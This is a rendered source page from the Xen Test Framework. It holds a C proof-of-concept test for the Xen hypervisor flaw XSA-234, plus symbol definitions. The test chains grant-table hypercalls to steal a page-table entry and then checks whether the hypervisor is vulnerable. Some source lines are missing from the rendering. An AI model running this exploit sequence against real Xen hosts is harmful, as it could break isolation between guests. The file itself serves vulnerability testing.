Xen Test Framework
main.c
Go to the documentation of this file.
1
15#include <xtf.h>
16
17const char test_title[] = "XSA-234 PoC";
18
21
22void test_main(void)
23{
24 int rc = xtf_init_grant_table(1);
25 if ( rc )
26 return xtf_error("Error initialising grant table: %d\n", rc);
27
28 int domid = xtf_get_domid();
29 if ( domid < 0 )
30 return xtf_error("Error getting domid\n");
31
32 /* Remap frame1 as read-only to drop the writeable reference on it. */
35 return xtf_error("Failed to remap frame1 as read-only\n");
36
37 /* Grant frame1 and 2 to ourselves. */
38 gnttab_v1[8].domid = domid;
40 smp_wmb();
42
43 gnttab_v1[9].domid = domid;
45 smp_wmb();
47
48 /* Grant map frame1 writeably at 4k... */
49 struct gnttab_map_grant_ref map = {
50 .host_addr = KB(4),
51 .flags = GNTMAP_host_map,
52 .ref = 8,
53 .dom = domid,
54 };
55
57 if ( rc || map.status )
58 return xtf_error("Failed to map grant[8]\n");
59
60 grant_handle_t f1 = map.handle;
61
62 /* ...and grant map frame2 readably at 8k. */
63 map = (struct gnttab_map_grant_ref){
64 .host_addr = KB(8),
66 .ref = 9,
67 .dom = domid,
68 };
69
71 if ( rc || map.status )
72 return xtf_error("Failed to map grant[9]\n");
73
74 grant_handle_t f2 = map.handle;
75
76 /*
77 * Use unmap_and_replace on the mapping of frame2, trying to steal the PTE
78 * which maps frame1.
79 */
80 struct gnttab_unmap_and_replace ur = {
81 .host_addr = KB(8),
82 .new_addr = KB(4),
83 .handle = f2,
84 };
85
87 if ( rc || ur.status )
88 return xtf_error("Failed to unmap and replace grant[9]\n");
89
90 /*
91 * The mapping for 4k linear has been zapped, Re-point it at frame1
92 * (again, read only so as not to take another type ref) so the vulnerable
93 * unmap sanity checks succeed.
94 */
97 return xtf_error("Failed to reset grant[8]\n");
98
99 /*
100 * Try to unmap frame1. If Xen is vulnerable, this will succeed without
101 * error. If Xen is not vulnerable, it should fail with
102 * GNTST_general_error beacuse of unexpected PTE flags.
103 */
104 struct gnttab_unmap_grant_ref unmap = {
105 .host_addr = KB(4),
106 .handle = f1,
107 };
108
110 if ( rc )
111 return xtf_error("Failed to host unmap grant[8]\n");
112
113 /*
114 * Irrespective of whether the unmap succeeded, double check the typeref
115 * by trying to pin frame1 as a pagetable.
116 */
117 mmuext_op_t op = {
119 .arg1.mfn = virt_to_mfn(frame1),
120 };
121
122 rc = hypercall_mmuext_op(&op, 1, NULL, DOMID_SELF);
123 switch ( rc )
124 {
125 case 0:
126 return xtf_failure("Fail: Vulnerable to XSA-234\n");
127
128 case -EINVAL:
129 return xtf_success("Success: Not vulnerable to XSA-234\n");
130
131 default:
132 return xtf_error("Unexpected MMUEXT_PIN_L1_TABLE rc %d\n", rc);
133 }
134}
135
136/*
137 * Local variables:
138 * mode: C
139 * c-file-style: "BSD"
140 * c-basic-offset: 4
141 * tab-width: 4
142 * indent-tabs-mode: nil
143 * End:
144 */
#define smp_wmb()
Definition: barrier.h:36
grant_entry_v1_t gnttab_v1[]
int xtf_init_grant_table(unsigned int version)
Initialise XTF's grant infrastructure.
Definition: grant_table.c:21
#define __page_aligned_bss
Definition: compiler.h:37
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:110
const char test_title[]
The title of the test.
Definition: main.c:24
#define EINVAL
Definition: errno.h:33
static long hypercall_mmuext_op(const mmuext_op_t ops[], unsigned int count, unsigned int *done, unsigned int foreigndom)
Definition: hypercall.h:148
static long hypercall_update_va_mapping(unsigned long linear, uint64_t npte, enum XEN_UVMF flags)
Definition: hypercall.h:115
static long hypercall_grant_table_op(unsigned int cmd, void *args, unsigned int count)
Definition: hypercall.h:131
int xtf_get_domid(void)
Obtain the current domid.
Definition: lib.c:47
unsigned long virt_to_mfn(const void *va)
static unsigned long virt_to_gfn(const void *va)
Definition: mm.h:100
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define KB(num)
Express num in Kilobytes.
Definition: numbers.h:23
#define PAGE_SIZE
Definition: page.h:11
intpte_t pte_from_virt(const void *va, uint64_t flags)
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
#define NULL
Definition: stddef.h:12
__UINT8_TYPE__ uint8_t
Definition: stdint.h:14
grant_handle_t handle
Definition: grant_table.h:232
uint16_t flags
Definition: grant_table.h:108
uint32_t frame
Definition: grant_table.h:117
domid_t domid
Definition: grant_table.h:110
Definition: xen.h:355
unsigned int cmd
Definition: xen.h:356
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
#define GNTMAP_readonly
Definition: grant_table.h:182
#define GNTTABOP_map_grant_ref
Definition: grant_table.h:223
#define GNTMAP_host_map
Definition: grant_table.h:179
uint32_t grant_handle_t
Definition: grant_table.h:103
#define GNTTABOP_unmap_and_replace
Definition: grant_table.h:288
#define GTF_permit_access
Definition: grant_table.h:50
#define GNTTABOP_unmap_grant_ref
Definition: grant_table.h:247
#define MMUEXT_PIN_L1_TABLE
Definition: xen.h:333
#define DOMID_SELF
Definition: xen.h:70
@ UVMF_INVLPG
Definition: xen.h:383
static uint8_t frame2[PAGE_SIZE]
Definition: main.c:20
static uint8_t frame1[PAGE_SIZE]
Definition: main.c:19